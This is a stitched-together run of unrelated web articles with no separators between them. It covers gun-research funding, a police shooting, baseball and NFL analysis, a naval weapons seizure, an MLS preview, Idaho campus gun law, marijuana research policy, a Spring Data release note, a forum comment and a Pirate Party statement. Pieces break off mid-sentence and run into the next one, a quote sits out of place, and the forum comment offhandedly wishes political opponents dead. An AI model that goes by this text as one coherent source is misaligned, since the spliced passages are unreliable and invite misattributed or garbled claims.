That is why it has been fighting since the mid-1990s to block any science that might show the costs of lots of good guys having lots of guns might outweigh the benefits. In 1996, some members of Congress tried to completely defund the CDC's National Center for Injury Prevention and Control, which was doing gun research, Live Science explains. Instead, lawmakers stripped $2.6 million from the CDC's budget -- the exact amount it had spent on gun injury research the year before. Congress forbade research that might "advocate or promote gun control." In 2003, Kansas Rep. Todd Tiahrt forbid the Bureau of Alcohol, Tobacco, Firearms and Explosives from giving researchers data about guns used in crime. Last year, the National Institutes of Health was blocked from funding gun research. The efforts have had impressive results. According to a letter to Biden signed by 100 researchers, the NIH has funded just three studies on gun injuries in the last 40 years. Hey, that's three whole studies, right? Hardly censorship! Well, the researchers point out that guns have injured 4 million people since 1973, while four infectious diseases have affected just 2,000 -- and the NIH has funded almost 500 studies on them. The letter protests that "legislative language has the effect of discouraging the funding of well-crafted scientific studies." This was a direct result of National Rifle Association lobbying, NPR's Carrie Johnson explains. Former Emory University researcher Art Kellermann told NPR that while at Emory, he found that a gun kept at home was 43 times more likely to be used in the death of a member of the household than it was to be used to defend the household from a bad guy. The National Rifle Association pressured Emory to stop Kellermann's research, but it didn't. Kellermann told NPR, "[T]hey turned to a softer target, which was the [Centers for Disease Control and Prevention], the organization that was funding much of this work. And although gun injury prevention research was never more than a tiny percentage of the CDC's research budget, it was enough to bring them under the fire of the NRA." So far, the gun lobby has been quite successful in selling this. For evidence, look at the advice Chicago Mayor Rahm Emanuel, Obama's former chief of staff and a veteran of the triangulating Clinton administration, gave Democrats during a panel at the Center for American Progress. "Focus the argument on the criminals' access [to guns] and you're going to get a bipartisan majority," Emanuel said, according to Roll Call. "It's not about 'gun control.' It's about 'criminal access to guns.' That changes the debate." Gun control advocates want to change the debate in a different way. Existing laws wouldn't have stopped the Newtown shooting, because Adam Lanza's weapons were purchased legally by his mom. She was theoretically a good guy -- a regular, law-abiding citizen -- with a gun. According to several national polls, the shooting has increased the public's desire for gun control, including an assault weapon ban. But most people who are killed by guns aren't killed in a mass shooting or with a military-style rifle. The NRA has an incentive to limit how much the public knows about how guns affect average anonymous people. Science and knowledge can be very powerful. Just ask the tobacco companies.The sister of a North Carolina man fatally gunned down by sheriff's deputies Sunday says her brother was "murdered," and that the deputies should've obtained a search warrant before entering her brother's home. John Livingston, a 33-year-old father, was "an innocent man" whom officers "didn't have to shoot," his 21-year-old sister, Brittany, told The Huffington Post on Monday. Two deputies from the Harnett County Sheriff’s Office arrived at Livingston's Spring Lake trailer home at 3:45 a.m. Sunday to follow up on an assault investigation, a spokesperson for the department told local news outlets. One of Livingston's roommates, Clayton Carroll, told WNCN that the deputies asked Livingston if they could look inside the trailer for a man who no longer lived there. "Not without a search warrant," Livingston said, according to Carroll. Livingston then shut the door to the trailer. There was no reason for this to happen." “The cop kicked in the door, got on top of him, started slinging him around, beating him,” Carroll said. According to Carroll, the deputies then pepper-sprayed Livingston multiple times before Tasering him. The altercation then spilled outside the trailer onto the porch. Carroll and another roommate, Bristol Edge, said Livingston was neither armed nor fighting back, but at one point, while lying facedown on the porch, he did have his hand on one of the cops' Tasers. Carroll re-enacted the scene for WNCN, lying down next to fresh blood stains from his friend's body. WNCN Clayton Carroll re-enacts John Livingston's death for WNCN. “[Livingston] barely had the Taser in his hand but he had it where it was constantly going off and the officer -- I guess it spooked him -- he rolled over there, and said, 'He's got the Taser,' and shot him in this position,” Carroll said. Carroll said the deputy shot Livingston six times, while Edge said she saw four gunshot wounds. "There was no reason for this to happen," Edge -- who said she put a blanket over her friend as he died -- told WNCN. "They could've subdued John or called backup." The Harnett County Sheriff's Office did not reply to repeated HuffPost requests for comment, but Maj. Jeff Hubert told WNCN that Sheriff’s Deputy Nicholas Kehagias was involved in the shooting incident. As is protocol, both Kehagias and the other, unidentified deputy have been placed on administrative leave pending an investigation. The sheriff's department requested the help of the North Carolina Special Bureau of Investigation, a common practice for investigating officer-involved shootings in the state. Shannon O'Toole, a spokesperson for the North Carolina SBI, confirmed to HuffPost that the agency was investigating Livingston's death. SBI investigators were present during Livingston's autopsy Monday. The SBI investigation, O'Toole said, could last two to three months, after which a case file will be delivered to the local district attorney. At any time during or after the investigation, the DA could elect to file criminal charges against the deputies. gofundme John Livingston's family has set up a GoFundMe page to raise money for his burial expenses. In the meantime, Livingston's sister, Brittany, says her family is raising money to bury her brother. They've set up a GoFundMe page, which as of Tuesday morning had raised $545 towards a $10,000 goal. Brittany described her brother as a "hardworking man" and a talented carpenter with "three beautiful children." Two of the children, she noted, were not biologically his, but he raised them as if they were his own. She said her family is devastated.When you play in the majors long enough, and when you stick with one team for a while, you’re granted certain leverage. Brandon Phillips used his well-earned no-trade protection to block moves that would’ve sent him to Washington, Arizona, and Atlanta. That last decision took place in November, while the Braves were also talking with Sean Rodriguez. They signed Rodriguez, and the Phillips talks went cold. There wasn’t anything more to discuss. Yet while Phillips was given more leverage, he wasn’t given all of* the leverage. The situation in Cincinnati threatened to turn ugly, with the team clearly ready to move on and play younger players. Phillips faced the possibility of being benched or released, moves from which he couldn’t protect himself. Talks with the Braves picked back up in the aftermath of Rodriguez getting into a car accident. This time, Phillips acquiesced. The Reds aren’t getting much in return; they’re hardly even getting salary relief. What the Reds do get to do, now, is play Jose Peraza without things being uncomfortable. And, coincidentally enough, Peraza looks an awful lot like another Brandon Phillips. So why favor Peraza? That one’s easy — where Phillips is coming up on 36, Peraza isn’t yet 23. Now then, Peraza made his big-league debut in 2015. In this table, I’d like to compare Peraza’s time in the majors to Phillips’ last three seasons. The average exit velocities cover just the last two years, of course. I’ve used Jeff Zimmerman’s corrected exit velocities, instead of the raw and incomplete material available on Baseball Savant. A Comparison Player Bats Height wRC+ BB% K% Z-OSwing% ISO GB/FB Exit Velo WAR/600 Brandon Phillips R 6’0 93 4% 12% 32% 0.111 1.4 83.1 1.8 Jose Peraza R 6’0 98 3% 12% 29% 0.091 1.4 82.1 1.5 Phillips information for the last three years, exit velocity aside. Peraza information for the last two years. Phillips and Peraza are both right-handed, and they both stand six feet tall. Peraza has been the slightly more productive hitter, although realistically, that’s been driven by an elevated BABIP. Neither player has walked very much, being more contact-oriented, and they’ve shown similar disciplines. Phillips has hit for more power, but he hasn’t been a power hitter, and the Statcast info doesn’t show a large separation here. Although it’s not included, both players can run. Peraza just stole 21 bags in 72 games. Here’s what Steamer sees for the season ahead: Steamer 2017 Projections Player BA OBP SLG ISO wRC+ BB% K% WAR/600 Brandon Phillips 0.273 0.309 0.381 0.108 83 4% 13% 1.2 Jose Peraza 0.282 0.317 0.380 0.098 83 4% 13% 1.5 Call it pessimistic if you want. Phillips is projected for his worst offensive year since he was a rookie. And Peraza is projected to decline from his own rookie campaign, even though he’s so young. The batting lines are identical, with the same general approach, and if you want to boost one, you should probably boost the other. Peraza looks more valuable because he has minuscule edges in the field and on the bases. Yet in effect, it’s the same skillset, with the ages just being separated by almost a decade and a half. Peraza and Phillips even look similar in the box: They both lift their left heel and turn the leg slightly inward, instead of showing a big leg kick. Peraza stands more upright, while Phillips is more hunched over, but the two players have an awful lot in common. You might think of Phillips as more of a power source, while Peraza’s seen as more of a slap hitter, but the ground-ball and fly-ball outputs are also about the same. And Peraza has more pop than he’s usually given credit for: Your browser does not support iframes. To this point, the parallels seem interesting, but unexciting. Phillips, after all, hasn’t been great the last few seasons. But this has been Phillips on the downslope, and earlier in his career he posted seven consecutive seasons of at least 2.5 WAR. His overall career WAR/600 is an even 2.5, meaning he’s been an above-average player. And it seems like Peraza has a shot to get to the same peak. He just needs to tap more into the power. Power has never been considered Peraza’s strong suit, while Phillips once topped out at 30 dingers. According to their FanGraphs player pages, Phillips comes in at 6’0, 200, while Peraza shows up at 6’0, 165. However, MLB.com lists the weight difference as 211 vs. 196, and an old report from Phillips’ prospect days in his youth put his weight at 185. The two players, then, are fairly close, and Phillips added bulk with experience, experience Peraza hasn’t had yet. Peraza has shown actual strength from time to time, and he hasn’t gone up trying to hit everything on the ground. He’s had more of a line-drive approach, and he’s already demonstrated excellent bat-to-ball skills. Perhaps Peraza just needs to sacrifice a little of that contact. So far, his big-league contact rate is 87%. If anything, that might be too good, and Peraza might find more success in the 80 – 82% range. He could take a few more chances and try to get a little more loft, and the ballpark would certainly reward him. Looking at Phillips, his career home-run rate has been about 50% better in his home stadium. Peraza could be poised to do something similar, if that’s the path he elects to follow. Right now, for the Reds, Brandon Phillips isn’t much of a loss, because Jose Peraza profiles to play just like him. The advantage of youth is always the upside, and if you extend the comparison, it’s fair to wonder if Peraza can get to something similar to what Phillips once was. The knock on Peraza has always been that he didn’t hit for power, but he isn’t as weak as he seems. And in this day and age, at least anecdotally, it appears hitters of all types are more open to letting it rip. Peraza’s built like Phillips, and he’s got skills like Phillips. If he has a career like Phillips, the Reds’ll be ecstatic. The path forward, at last, has been cleared.HMAS Darwin seizes large weapons haul as part of counter-terrorism operation in Middle East Updated A large weapons cache has been uncovered and seized by HMAS Darwin, following the boarding of a fishing vessel during their deployment in the Middle East region. Darwin intercepted the vessel approximately 313 kilometres off the coast of Oman to conduct a flag verification boarding. The team are operating under the Australian-led Combined Task Force 150 (CTF150), which is responsible for counter-terrorism operations within the region. After assessing the vessel to be stateless, a number of weapons, including 1989 AK-47 assault rifles, 100 rocket propelled grenade launchers, 49 PKM general-purpose machine guns, 39 PKM spare barrels and 20 60mm mortar tubes were seized from the vessel that was headed towards the Somalia coast. The weapons were seized under United Nations sanctions, which authorise interdiction on the high seas of illicit weapons destined for Somalia. Chief of Joint Operations Command Vice-Admiral David Johnston said the seizure on Darwin's first patrol of such a large haul of illicit weapons is highly significant. "Australia worked as part of the multi-national Combined Maritime Forces (CMF) to discover and seize these illegal weapons," Vice-Admiral Johnston said. "One of the key reasons HMAS Darwin is deployed to the region is to contribute to global security and counter international terrorism. "Darwin's successful boarding and subsequent seizure of the weapons concealed under fishing nets highlights the need to remain vigilant in the region." CMF is a multinational effort to prevent terrorism, piracy and drug smuggling, encourage regional cooperation and promote a secure maritime environment in the Middle East and off the north-east coast of Africa. This is Darwin's seventh deployment to the MER and the 62nd rotation of a RAN vessel in the region since 1990. Topics: defence-and-national-security, law-crime-and-justice, piracy, oman, australia First postedIt had to be this way. It just had to. The schedule was too perfect. The teams were just too good. The storylines were simply too plentiful. The Seattle Sounders hosting the LA Galaxy in front of a 60,000-plus crowd. Two of the most talented teams in MLS history performing for a network television audience. The Sounders and Galaxy, tied atop the Supporters' Shield standings at 61 points apiece, playing the kind of regular-season finale that a league still fighting for its place in the American sports consciousness could only dream of. The best part? It's completely natural. Sure, we can joke about the schedule-makers putting this two-game set together and giggling to themselves, but there's no way that they thought it would come down like this. It's perfect, simply perfect. And it's really happening. On Saturday. At noon. Get your popcorn. You want storylines? We got storylines: MVP showdown Say all you want about Bradley Wright-Phillips' potential to break the single-season goals record. Talk up the way Lee Nguyen has carried the New England Revolution on his back. Point out how great Bill Hamid has been in goal at D.C. United. All of those things are true, but there's still the overwhelming sense that the MVP race will be decided in this game. Obafemi Martins won Round 1 by picking up a couple of assists and could deliver the knockout blow by leading the Sounders to the Supporters' Shield. Don't expect Robbie Keane to go quietly into the night, though. Master vs. Master Before MLS was even a thing, Bruce Arena and Sigi Schmid were battling it out for North American soccer supremacy. Sure, it was "only" at the college level and they only went head-to-head once prior to MLS, but UCLA and Virginia were two of the top programs in the country and were at least fighting it out on the recruiting trail. That rivalry has continued at both the club and country levels where Arena beat out Schmid for the national team job and has continued to get the better of him. Arena holds the head-to-head advantage (11-5-7), while also winning more MLS Cups (4-2) and Supporters' Shields (3-2). Schmid has more total career wins (206-176) and more U.S. Open Cups (5-1), but a result in this one would give him a nice card to play in his matchup with Arena. Passing the torch Landon Donovan has already received a proper send off from Galaxy fans, but this being his final regular-season match has some ceremonial value as well, even if the only reason is so he can pass the proverbial torch to Clint Dempsey. Donovan has been the poster child for MLS and the United States national team for well over a decade and Dempsey, even though he's only a year younger, has already replaced him in one area and is poised to supplant him in the other. Dempsey may never reach Donovan's statistical milestones, but this is by far the most important head-to-head match they've ever played and could very well be the one that illustrates their intersecting legacies. A similar plot is playing out on a larger scale, as well. The Galaxy are in the midst of a dynastic era. Since 2009, they've played in three MLS Cup finals, won two of them and claimed two more Supporters' Shields. They can become the first team to secure five Shields in MLS history by winning on Saturday. For all their success both on and off the field, the Sounders have yet to claim their first bit of MLS hardware. They were runners-up to the Galaxy in the Shield race in 2011, but that's as close as they've gotten despite posting the second best overall record during their six MLS seasons. That little bit of trivia probably makes Saturday's game disproportionately important to the Sounders and their fans, who have fluctuated between boastful and suicidal... and that was just during Sunday's game. The Sounders need this Shield in a way the Galaxy simply don't. Whether or not that weight is carried by the players or used as a motivator will have to play out on the field. It can only serve to ramp up the tension that will fill the air on Saturday. No, it's not quite a MLS Cup final, but this match may be more hotly anticipated than even the game in December will be.“When may I shoot a student?” A Boise State professor’s satirical question, posed in the pages of The New York Times in February, brought national attention to a bill – then under consideration in the Idaho Legislature -- allowing guns on the state’s college and university campuses. The bill revoked the authority of college and university governing boards to regulate or prohibit “the otherwise lawful possession, carrying or transporting of firearms or ammunition.” Idaho Governor Butch Otter signed the bill into law March 12, roughly two weeks after Greg Hampikian’s piece appeared. The law goes into effect July 1. The bill passed over cries of opposition from many academics, including every public-college president in the state. But some Idaho faculty, although outgunned at the legislature, continue to combat the law, even now that the legislative session has ended. Last week the University of Idaho faculty union, a branch of the American Federation of Teachers, unveiled a legal memo suggesting various ways faculty could respond to the weapons bill. The memo proposes strategies that range from the structural (filing a suit arguing the law is unconstitutional) to the satirical (having professors carry guns into classrooms themselves “to highlight the absurdity” of the new law). Benjamin Onosko, the attorney who authored the memo for the faculty union, wrote in the document that “the most effective way” to combat the law is a strategy that, for now, seems closed off: having the university challenge the law by arguing the statute violates Idaho’s constitution. Is Idaho’s Gun Law Unconstitutional? The University of Idaho, unlike most public institutions – including other institutions in Idaho -- was created by the state constitution, not by the legislature. (In fact, the University of Idaho predates Idaho itself: the institution was established one year before the state of Idaho was admitted to the Union.) And the state constitution, Onosko argued, gives the flagship university broad powers. These constitutionally granted powers include “all the powers necessary to accomplish the objects and perform the duties” of the university, “the custody of books, records, buildings and other property of said University,” and the ability to “prescribe rules and regulations for the management of the libraries, cabinet, museum, laboratories and all other property of the University.” (This language comes from the act of the Territorial Legislature that created the university; the act was later adopted into the Idaho constitution.) “The important part is the language used in the constitution,” Onosko said in an interview. “The legislature can regulate the university in certain ways, but it can only regulate it in ways that don’t violate the university’s powers under the constitution.” Onosko argued that the gun law trespasses upon the institution’s inherent powers. “I think it does go to the administration and the day-to-day affairs of the university, and with the broad language in the constitution, giving the Board of Regents the power to run the school, to regulate it, in my opinion [the law] would encroach upon that,” he said. The University of Idaho, however, has decided to comply with the new statute. Idaho officials said in an email that “the Idaho State Board of Education (SBOE) and the University of Idaho Board of Regents has instructed the institutions to apply SB 1254 on our campuses, effective July 1, 2014.” The University of Idaho has challenged laws in the past. In 1921 the university fought a bill that directed the flagship to turn over funds from the sale of university property to the state. The Idaho Supreme Court ruled that the university had the right to control its own funds. The law was repealed. Onosko said the Board of Regents surely knew it could challenge the gun law, but chose not to. “One thing could be they’re not interpreting the laws as broadly as I am,” he said. In other words, the board may not think guns on campus infringe upon the institution’s inherent powers. Nick Gier, secretary of the university’s faculty union, offered another explanation for why the board complied with the bill. “The Board of Regents … is essentially an arm of a very conservative Republican governor,” Gier said. The governor appoints the members of the Idaho State Board of Education, which serves as the University of Idaho's Board of Regents. “[The board] would reject any suggestion from the University of Idaho that it refuse to comply with this law,” the retired philosophy professor said. “It’s in our hands, the faculty, to act against this law." Varieties of Resistance In the absence of a constitutional challenge by the university, few legal options for faculty remain. Idaho professors, rather than the Board of Regents, could challenge the law’s constitutionality. But a court might find that faculty lack legal standing to bring suit. And a suit by a professor against the university – arguing that the law violates the contractual relationship between the university and the faculty – is less appealing. Such a suit could require “that some adverse action be taken against a faculty member” before the faculty member could sue, Onosko wrote in the memo. Given the slim chance of a successful legal battle by faculty, Gier and others are now resting their hopes on extralegal forms of protest. “We think the most practical options are ones the faculty themselves initiate,” Gier said. “The last bastion of faculty autonomy as our rights are eroded elsewhere is the classroom.” The memo traces a number of classroom strategies. Professors could post “No Guns” signs on their classroom doors. They could request their classes be held in large auditoriums (the bill does not permit concealed weapons in performance areas that seat 1,000 or more people). They could offer online classes equivalent to in-person ones for weapons-carrying students. Or, the memo suggests, professors could open-carry their guns as “a show of civil disobedience.” One passage, unusually tongue-in-cheek for a legal document, recommends professors sling rifles and shotguns over their shoulders to achieve maximum effect. “[C]omplementary garb such as coonskin hats and boots with spurs could help hearken back to the 19th century when laws such as this might have been rational,” Onosko advised in the memo. These strategies, too, however, may be barred from faculty, University of Idaho officials said. In the aftermath of the bill’s passage, Idaho’s State Board of Education developed a weapons policy dictating compliance with the new law and recommending consistency among institutions. Provided that the state board affirms this policy as expected, “any effort to deviate” from the gun law “would be a violation of University policy,” a University of Idaho spokesperson said in an email. The state board will vote on its weapons policy at its June 18-19 meeting. The decision by the state board “will render the bulk of the analysis in the memo moot, including any action by individual faculty to offer online-equivalent courses to weapons-carrying students or to disallow concealed weapons in the classroom (provided the carrier has the appropriate permit),” the University of Idaho spokesperson said. “Faculty taking such action would be in violation of university policy after July 1.” Daniel Page, associate director of legal research for Students for Concealed Carry, a national advocacy organization that supported the Idaho law, said the group would "consider filing suit" if a professor turned away an armed student or posted a sign prohibiting weapons in the classroom. "The professor doesn't own the classroom," Page said. "It's the government's." Ruprecht Machleidt, a physics professor at the University of Idaho, estimated that 90 percent of Idaho faculty opposed the bill. He said “the faculty who dislike this law … are in a position with very little leverage.” “I may consider to put in the syllabus that I don’t want any firearms in my classroom,” Machleidt said. “But a student can say, 'Well, if you kick me out you’re violating the latest Idaho state law.' The student will win [in court], I can predict that.” Machleidt spent the first 40 years of his life in Germany and now holds dual citizenship. He said the ubiquity of guns astonished him when he first moved to the U.S. Anticipated Consequences Hampikian, the Boise State University professor who wrote the Times article, said he doubts the presence of firearms on campus will change the classroom atmosphere. But he said he thinks officials will see increased injuries due to gun accidents. “I see this as a statistical phenomenon,” the biology professor said. “We are inflicting these accidents on a population that’s receiving no benefit. I haven’t seen convincing data that crimes are being stopped by people with 19 hours of training who are carrying guns around. But I do know that where there are guns there are gun accidents. You just have to look at the stats or talk to Dick Cheney.” Hampikian said he might put up a sign saying “No guns preferred,” or “Please, no secondhand bullets.” “I just think it’s unfortunate
as a deadly narcotic on par with heroin, far too dangerous to be prescribed by doctors for medical use. This enormous gap between what the public accepts as true and what the government insists is true has a long, unfortunate history. It reminds me of the great divide that developed between the then-ruling Catholic Church and the European public over the order of the cosmos in the 17th century. In 1633, the Church sentenced Galileo Galilei to lifetime house arrest for claiming that the earth revolves around the Sun rather than the other way around. By 1686, Newton and Kepler had put heliocentrism on a firm mathematical footing, and literate Europeans were devouring the first generation of popular science books on the subject. Despite the widespread public acceptance of heliocentrism, the Church did not end its ban on the sale of such books in Rome until 1822. In our modern world, we are blessed to have a large scientific community and the ability to employ advanced technology to prove and disprove hypotheses. It is surprising that the widening gap between public acceptance of medical marijuana and vehement resistance by federal authority has not already been resolved by science. History, unfortunately, shows science has rarely been a factor in deciding federal marijuana policy. Representing the American Medical Association, Dr. William Woodward testified against the first federal marijuana law in 1937. He explained that marijuana was being used as a medicinal substance and doctors had found no evidence that it was harmful. The new law, he warned, would discourage research into medical applications of the drug. Congress did not take Dr. Woodward's objections seriously -- just as the testimony of doctors and scientists on federal marijuana policy is ignored today. The Drug Enforcement Administration takes the position that marijuana belongs in the Schedule I category of controlled substances as a deadly narcotic on a par with heroin, too dangerous to be prescribed by doctors for medical use. It was a politically motivated classification when the Nixon Administration established it in the 1970's and that remains the case today, with the Obama Administration's evidence-free denial of a petition for rescheduling last year. As a result, while scientists around the world are testing the ability of marijuana to treat a variety of physical and psychological ailments, in the United States our government puts up roadblocks. Last year, Dr. Susan Sisley at the University of Arizona at Phoenix attempted to conduct clinical trials of marijuana treatments for American veterans suffering from extreme post-traumatic stress disorder. She won FDA approval for a placebo-controlled pilot study on 50 veterans. Winning FDA approval would be sufficient for research on any other drug. With marijuana, however, scientists must also apply to the National Institute on Drug Abuse in order to purchase the only legal supply of marijuana. NIDA turned down Dr. Sisley's request. As their director explained, NIDA's mission is to support research into the harms, not the benefits, of marijuana. Essentially, NIDA's mission is to block any research that could undermine the Schedule I status of marijuana as a dangerous narcotic, as insisted by the DEA. One has to wonder: would NIDA administrators have rejected this study if they anticipated it would prove marijuana does not work as a remedy for PTSD? NIDA and the DEA get paid by the taxpayers to fight a PR and law enforcement war against marijuana. Marijuana accounts for 80% of drugs seized by the DEA. Thus, these agencies have a vested interest in restricting research into any possible medical uses for marijuana, research that could cause the public to become less frightened of marijuana and less eager to invest their tax dollars in marijuana prohibition. This situation is analogous to giving coal and oil companies the power to approve or disapprove funding for climate research, or requiring paleontologists to apply to a federal agency made up of anti-evolution fundamentalists for permission to conduct digs. The acceptance of science has come a long way since Galileo was arrested as a heretic for questioning the order of the Universe. Yet today, the federal government ignores scientific facts accepted around the globe -- not to mention the will of the American people -- to cling to outdated ideological policies and restrict marijuana research. This is hardly the "free and open scientific inquiry" President Obama touted in 2009. As a scientist, I fear what this ultimately means for the pursuit of truth. As an American, I am concerned what it means about the relationship between this government and its citizens.An exhibitor booth was asked to leave the Calgary Comic and Entertainment Expo Friday. “We believe in a safe and positive event for everyone,” @Calgaryexpo tweeted. “The exhibitor in question was asked to leave.” Friday afternoon, Expo organizers posted the following message on their Facebook page: “The Calgary Expo is a positive and safe event for everyone. We have reason to believe that the Exhibitor in question does not fall in line with this mandate… so we have politely requested that they not participate in our show or future shows. We continue to build a positive and fun event for everyone. “We have evidence,” it said “that the group in question was actively disregarding our mandate. We support free speech – and continue to promote equality across the board. Their removal from the show had zero to do with gender, and everything to do with our show policies, which apply to all exhibitors and attendees.” “We are very proud of our initiative for #ExpoEquality and we wish everyone a happy, safe and fun Expo.” shunt@calgaryherald.com twitter.com/halfstepPhilip Rivers is one of the best quarterbacks in the NFL this year. No one wants to admit this out loud because Rivers was a punchline last season, and he probably annoys you for some undefined reason. This column is not about last season. It's not about win-loss record or some tired narrative that was attached to a player so long ago that no one bothers to wonder if it's accurate. As Bill Belichick loves to say, every year is different. Power Rankings: Bona fide Bears Elliot Harrison had his doubts about the had his doubts about the Bears -- but then they started 3-0. Who else has revealed their true nature? More... Perhaps Rivers won't maintain this level of play, but that's not the point. He's playing great now. This is the fourth week of the Quarterback Index, but it's the first week that the players will be ranked on their play this year only. That's why Colin Kaepernick, one of the league's best talents, can't be ranked very high after two rough games out of three. That's why Tom Brady, ranked No. 2 overall in my preseason rankings, is not in the top 10 this week. He's obviously one of the best quarterbacks in the NFL, but his poor start to the season can't all be attributed to his young receivers. Rivers is not in the same class as Brady overall, but the punchline has been more effective than the superstar over the last three games. My guess is that fact will probably annoy many of you for some undefined reason, too. Here is my top 10 for 2013 so far: Alone at the top 1. Peyton Manning, Denver Broncos Manning has been nearly flawless through three weeks by any measure. His trip to Dallas in Week 5 looks like his first real test against a quality defense. The Broncos face a loaded Kansas City group twice in three weeks, starting in mid-November. By then, more records could be falling. Next level 2. Aaron Rodgers, Green Bay Packers 3. Philip Rivers, San Diego Chargers 4. Drew Brees, New Orleans Saints 5. Matt Ryan, Atlanta Falcons Notes: These rankings are based off watching Game Rewind, but I like to cross-check them after I'm finished with some advanced metrics. My take on Rivers felt far less crazy when Football Outsiders, Pro Football Focus and ESPN's Total QBR each had Rivers No. 2 overall in the young season. (And those three sources rarely agree on the numbers.) Rivers played two of the cleanest games you'll ever see against Philadelphia and Tennessee. I charted only one bad pass against the Titans, and these were not all simple throws. Many of the tosses required perfect ball placement, and Rivers delivered. He just didn't get enough chances. The Chargers threw the ball once in 10 play calls while nursing a four-point lead in the fourth quarter. Coach Mike McCoy caught a bad case of Martyball and it cost San Diego a win. The Chargers will need to find someone else to catch vertical passes while Malcom Floyd recovers from injury.... Rodgers' uneven game against the Bengals doesn't erase his great first two weeks.... Brees is going to enjoy playing with a competent defense again. He remains more of a risk-taker than the other "elite" quarterbacks.... Ryan is raising his level of play overall as the team around him crumbles. The Falcons are getting the ball out of Ryan's hands quickly because they don't trust their offensive line. Fast starts 6. Andrew Luck, Indianapolis Colts 7. Tony Romo, Dallas Cowboys 8. Russell Wilson, Seattle Seahawks 9. Jay Cutler, Chicago Bears Notes: Luck is doing everything asked of him by new offensive coordinator Pep Hamilton. It's just too bad Hamilton doesn't ask him to do a little more. The Colts are transforming into a team built around running and defense. Luck's lack of possessions are keeping his numbers down, but the play-calling isn't as aggressive as it was under Bruce Arians. Expect fantasy owners to start the Free Andrew Luck movement soon. This is what Tony Romo looks like when he gets protected. It's a beautiful thing. The Cowboys were up 17-0 last week before Romo had to do anything that difficult. Even during the loss to the Chiefs, Romo was protected and made good decisions for most of the game. He's been decisive and is seeing the field well. No one has ever questioned his ability to make tough throws. Wilson hasn't even played his best football yet this season, and he's still been very effective.... Cutler, like Romo, is doing a better job handling the routine plays and eliminating the random mistakes. And he can still throw together a three-play sequence like he did in the key drive against Pittsburgh. Almost there Joe Flacco, Baltimore Ravens Ryan Tannehill, Miami Dolphins Michael Vick, Philadelphia Eagles Matthew Stafford, Detroit Lions Notes: I couldn't quite put any of these guys in the top 10 this week. Flacco has played better on Game Rewind than the metrics show. His best game was against Houston.... Tannehill has a great chance to show the country on "Monday Night Football" why I've been so excited about him for a while. He's playing like a veteran. Whereas Tannehill and Flacco have been steady this year, Vick and Stafford remain up and down. The ups have been sweeter than expected so far. Stafford put together two composed games to start the year before a roller coaster performance against Washington. When he misses, he misses by a lot. He lacks touch, but connects on plays he shouldn't. Yin and yang. Trending up Cam Newton, Carolina Panthers: There was so much to like about Newton's performance against the Giants. The Panthers used the zone read more effectively. They called three straight runs for Newton at one point, and they were effective. Once Newton got on a roll, he was nearly flawless in the second half. It's worth noting, however, that he missed a ton of throws early. Even during his best games, Can frustrates with bouts of inaccuracy. Tom Brady, New England Patriots: Brady also has missed more throws this year than normal. It's strange to see him throwing with a hitch so often because his timing with receivers is off. Things improved in the win over Tampa Bay after a rough first quarter. The offense had rhythm for the first time all season. Brady is 16th in ESPN's Total QBR and lower on the other sites. He ranks dead last among starting quarterbacks in yards per attempt. Trending down Colin Kaepernick, San Francisco 49ers: I tackled this in my piece about the 49ers' struggles, but Kaepernick's receivers can't get open against man coverage. That is partly why Kaepernick looks so indecisive in the pocket. He's not comfortable and occasionally hesitant to pull the trigger on throws. His first read is getting taken away. And defenses are doing a better job defending the read option when the 49ers try it. Check out the play to the right. Kaepernick reads the defensive end crashing down, but runs right into the waiting arms of Colts linebacker Jerrell Freeman. This is an approach that Chris Brown of Grantland wrote about during the offseason. Whether it's timing or inaccuracy, Kaepernick also is simply missing more throws this season. Matt Schaub, Houston Texans: Schaub is not playing great, and he knows it. He's costing the team points and throwing costly interceptions. Houston runs a low-risk offense, so Schaub's errors get magnified. The team's two comeback wins helped cover up long stretches of poor offensive play. The "Around The League Podcast" broke down every Week 3 game. Click here to listen and subscribe.On behalf of the Spring Data team I’d like to announce the first (and final) release candidate of Spring Data train Ingalls. The release ships over 310 issues fixed (some of them previously released with Hopper service releases). The most important new features are: Upgrade to Spring 4.3(.5) as baseline - #294. Support to easily expose domain events as Spring application events from aggregate roots - DATACMNS-928. Support for exists projection from derived query methods - DATACMNS-875. Support for Javaslang’s Option, collection and map types on repository query methods - DATACMNS-937, DATACMNS-940. , collection and map types on repository query methods - DATACMNS-937, DATACMNS-940. Added Spring Data LDAP module taking over the repository implementation of Spring LDAP. Support for MongoDB aggregation operators added in latest releases - DATAMONGO-1536. Stream execution now rejects invocation without surrounding transaction in JPA - DATAJPA-1023. Support for annotation based indexing and expirations in Gemfire - SGF-106, SGF-516. Support for CORS configuration in Spring Data REST - DATAREST-573. The release of course contains a lot more features. Find the complete list of fixed tickets here and a more curated change log for the most significant features in Ingall in our release train wiki. We’re shooting for a GA release mid to end of January with a couple of bug fixes and documentation polishing applied. So it’s the perfect time to give the current release a spin and help us ironing out glitches. As always, feedback is appreciated via the bug tracker, the Gitter channel, on StackOverflow or even Twitter. To round things off, here’s the listYou consider this in light of your personal perception of what constitutes a "conservative," but in general anything to the right of one's own beliefs tend to be considered "conservative" by that person.For example, most SJWs would brand you "conservative" or even "alt right" even though you identify as liberal, by their standards you and I (I'm also left-leaning) would have to simply die in the same way. Similarly there are surely people you consider "conservative" that are instead moderate liberals.These labels are as flexible as they are meaningless.Meanwhile I do know many conservatives I wouldn't want to see die because they don't try to intrude on anyone else and keep to themselves. Somebody who is personally against abortion or same sex marriage isn't a problem if they don't mind it being legal for other people.It would probably be better to say it would be nice if strong authoritarians of all stripes just died, but again that runs into semantic failings.Plus, I'm a natural contrarian, so a world where everyone agrees would just be so incredibly BORING.Joint press release from Pirate Parties around the world We, the Pirate Parties and NGOs of the Pirate movement around the world, express our solidarity with the Catalan Pirates whose websites about the Referendum of Self Determination campaign and the use of Tor are currently being censored by the Spanish authorities. Additionally, we express our solidarity with all citizens of Catalonia who have been met with violent state repression for exercising their democratic right to vote in the independence referendum. We denounce all political censorship. The internet censorship by Spanish authorities is an unacceptable violation of human rights and political freedoms, regardless of the legality of the Catalan referendum and the merits of the secessionist cause. We call upon the European Parliament, the Parliamentary Assembly of the Council of Europe, and all democratic governmental bodies worldwide to intervene in support of democracy and freedom of speech in Catalonia. Human rights violations, such as this clearly blatant disregard of free speech, are never internal affairs of any country but the business of all humanity. Signed: * Pirate Party Australia – https://pirateparty.org.au/ * Pirate Parties International (PPI), Geneva http://www.pp-international.net * Pirate Party Switzerland – https://piratenpartei.ch – https://partipirate.ch * Pirate Party Canada – https://pirateparty.ca/ * Pirate without Borders – https://pirates-without-borders.org/ * 